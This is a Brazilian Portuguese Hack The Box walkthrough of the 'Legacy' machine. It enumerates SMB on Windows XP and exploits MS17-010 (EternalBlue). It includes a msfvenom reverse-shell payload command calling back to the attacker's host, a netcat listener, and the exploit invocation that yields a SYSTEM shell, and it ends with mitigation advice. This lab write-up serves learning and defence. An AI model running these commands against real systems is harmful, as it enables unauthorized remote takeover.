Legacy - HTB Easy Machine - Português Brasil
Sobre
Legacy é uma máquina relativamente direta, de nível iniciante, que demonstra os riscos de segurança potenciais do SMB no Windows. Apenas um exploit publicamente disponível é necessário para obter acesso como administrador.
Exploração
Enumeração
Começando com uma enumeração nmap vemos que é uma máquina windows rodando apenas o servidor smb.
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
4095/tcp closed xtgui
7518/tcp closed unknown
10253/tcp closed eapol-relay
11257/tcp closed unknown
13767/tcp closed unknown
30522/tcp closed unknown
41588/tcp closed unknown
42743/tcp closed unknown
43244/tcp closed unknown
44251/tcp closed unknown
54772/tcp closed unknown
55622/tcp closed unknown
56234/tcp closed unknown
57817/tcp closed unknown
58519/tcp closed unknown
60227/tcp closed unknown
62123/tcp closed unknown
65121/tcp closed unknown
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:bb:25 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h27m39s, deviation: 2h07m16s, median: 4d22h57m39s
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2025-09-04T20:04:40+03:00
Vamos começar com a enumeração do netexec e ver se encontramos algo, mas sem usuário ou senha não conseguimos nada.
legacy
└─ $ nxc smb 10.10.10.4 -u '' -p '' --shares
SMB 10.10.10.4 445 LEGACY [*] Windows 5.1 x32 (name:LEGACY) (domain:legacy) (signing:False)
(SMBv1:True) (Null Auth:True)
SMB 10.10.10.4 445 LEGACY [+] legacy\:
SMB 10.10.10.4 445 LEGACY [-] Error enumerating shares: STATUS_ACCESS_DENIED
Gosto de rodar o enum4linux-ng para alguns compartilhamentos smb porque às vezes conseguimos pegar mais informações sobre o serviço, mas aqui também não obtivemos nada relevante.
enum4linux-ng 10.10.10.4 -A -C
ENUM4LINUX - next generation (v1.3.5)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.10.4
[*] Username ......... ''
[*] Random Username .. 'hbuecrxe'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
===================================
| Listener Scan on 10.10.10.4 |
===================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.10.4 |
=========================================================
[+] Got domain/workgroup name: HTB
[+] Full NetBIOS names information:
- LEGACY <00> - B <ACTIVE> Workstation Service
- HTB <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
- LEGACY <20> - B <ACTIVE> File Server Service
- HTB <1e> - <GROUP> B <ACTIVE> Browser Service Elections
- HTB <1d> - B <ACTIVE> Master Browser
- ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
- MAC Address = 00-50-56-94-BB-25
=======================================
| SMB Dialect Check on 10.10.10.4 |
=======================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.0.2: false
SMB 2.1: false
SMB 3.0: false
SMB 3.1.1: false
Preferred dialect: SMB 1.0
SMB1 only: true
SMB signing required: false
[*] Enforcing legacy SMBv1 for further enumeration
=========================================================
| Domain Information via SMB session for 10.10.10.4 |
=========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: LEGACY
NetBIOS domain name: ''
DNS domain: legacy
FQDN: legacy
Derived membership: workgroup member
Derived domain: unknown
=======================================
| RPC Session Check on 10.10.10.4 |
=======================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
=================================================
| Domain Information via RPC for 10.10.10.4 |
=================================================
[-] Could not get domain information via 'lsaquery': STATUS_ACCESS_DENIED
=============================================
| OS Information via RPC for 10.10.10.4 |
=============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 5.1
OS version: '5.1'
OS release: not supported
OS build: not supported
Native OS: Windows 5.1
Native LAN manager: Windows 2000 LAN Manager
Platform id: null
Server type: null
Server type string: null
===================================
| Users via RPC on 10.10.10.4 |
===================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
====================================
| Groups via RPC on 10.10.10.4 |
====================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
======================================
| Services via RPC on 10.10.10.4 |
======================================
[-] Could not parse result of 'net rpc service list' command, please open a GitHub issue
====================================
| Shares via RPC on 10.10.10.4 |
====================================
[-] Could not list shares: timed out
=======================================
| Policies via RPC for 10.10.10.4 |
=======================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
=======================================
| Printers via RPC for 10.10.10.4 |
=======================================
[+] No printers returned (this is not an error)
Completed after 60.90 seconds
smb-vuln-ms17-010
Sabendo que é uma máquina windows, executei o script do nmap para ver se obtínhamos alguma vulnerabilidade ou pista sobre a máquina. Felizmente tivemos todas as informações sobre a vulnerabilidade smb-vuln-ms17-010 e seu CVE.
nmap --script smb-vuln* -p 445 10.10.10.4
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-30 12:55 -0300
Failed to resolve " ".
Nmap scan report for 10.10.10.4
Host is up (0.34s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SM
Bv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance
-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds
Foothold
Para explorar essa vulnerabilidade encontrei um ótimo script em python que consegue executar código remotamente a partir do terminal. Ele ainda usa python2, então vamos seguir o método com docker.
Primeiro vamos gerar o payload com o msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=9001 -f exe -o ms17-010.exe
Inicie nosso listener
nc -lvnp 9001
Pessoalmente uso archlinux e já tenho o Docker instalado, então você precisa instalá-lo usando o método recomendado para sua distro Linux. Em seguida, seguimos os passos do repositório
mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt
Escreva o Dockerfile:
FROM python:2.7-alpine
RUN apk --update --no-cache add \
git \
zlib-dev \
musl-dev \
libc-dev \
gcc \
libffi-dev \
openssl-dev && \
rm -rf /var/cache/apk/*
RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt
Build do Container Docker:
sudo docker build -t exploit .
Execute o Container:
sudo docker run -it exploit /bin/sh
Baixando e executando o exploit:
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143
python send_and_execute.py 10.10.10.4 ../ms17-010.exe
Rodar o exploit nos dará o shell remoto
└─ $ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.10.4 1034
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Com isso conseguimos ambos os flags rodando como NT AUTHORITY\SYSTEM
User
C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
e69af0e4....
Root
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
993442d25....
Essa máquina costumava ser vulnerável ao smb-vuln-ms08-067 do CVE-2008-4250 quando eu a resolvi há algum tempo, mas no momento em que escrevo este walkthrough só consegui explorá-la com a vulnerabilidade smb-vuln-ms17-010.
Como prevenir
A forma mais eficaz de evitar a exploração de MS17-010 (EternalBlue) é sempre aplicar os patches de segurança da Microsoft. No caso específico, a vulnerabilidade foi corrigida no boletim de segurança MS17-010, divulgado em março de 2017. Rodar sistemas desatualizados como Windows XP representa um risco crítico, já que não recebem mais suporte oficial.
Ações recomendadas:
- Aplicar atualizações de segurança – Mantenha o Windows sempre atualizado e aplique os patches da Microsoft. Para sistemas legados, considere seriamente substituí-los por versões suportadas.
- Desabilitar SMBv1 – Esse protocolo é obsoleto e inseguro; deve ser desativado em todos os ambientes.
- Restringir acesso – Nunca exponha serviços SMB à internet. Permita acesso apenas a redes internas confiáveis através de regras de firewall ou ACLs de rede.
- Segmentação de rede – Isole sistemas legados em VLANs restritas com acesso mínimo ao restante da infraestrutura.
- Monitoramento e resposta – Habilite logs e monitore o tráfego SMB em busca de atividade suspeita. Utilize soluções IDS/IPS para detectar tentativas conhecidas de exploração.
- Planejar migração – Se sistemas legados (como Windows XP) são estritamente necessários por causa de software antigo, planeje sua migração para ambientes modernos ou mantenha-os totalmente isolados, sem exposição a redes críticas.
Em resumo, o ataque só foi possível porque o sistema estava desatualizado, rodando SMBv1 e sem patches. Seguir boas práticas de gestão de patches e desativar protocolos inseguros teria prevenido completamente a exploração.
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
The master 0xdf
MS17-010_CVE-2017-0143
OpenCVE CVE-2017-0143
NIST CVE-2017-0143